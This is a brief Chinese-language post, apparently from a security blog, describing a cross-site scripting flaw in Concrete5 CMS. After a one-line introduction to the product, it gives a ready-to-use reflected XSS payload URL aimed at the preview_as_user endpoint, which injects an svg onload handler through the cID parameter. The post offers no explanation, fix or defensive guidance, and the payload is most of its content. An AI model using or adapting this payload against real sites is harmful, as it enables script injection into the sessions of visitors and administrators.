Concrete5 CMS XSS

2021-05-08 15:42:27 浏览数 (2)

Concrete5是一个免费的CMS系统,可以创建网站,并以其易用性而闻名。使用Concrete5的主要组织包括GlobalSign、美国陆军、REC和BASF等。

Payload:

http://xxx/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert(1)>

0 人点赞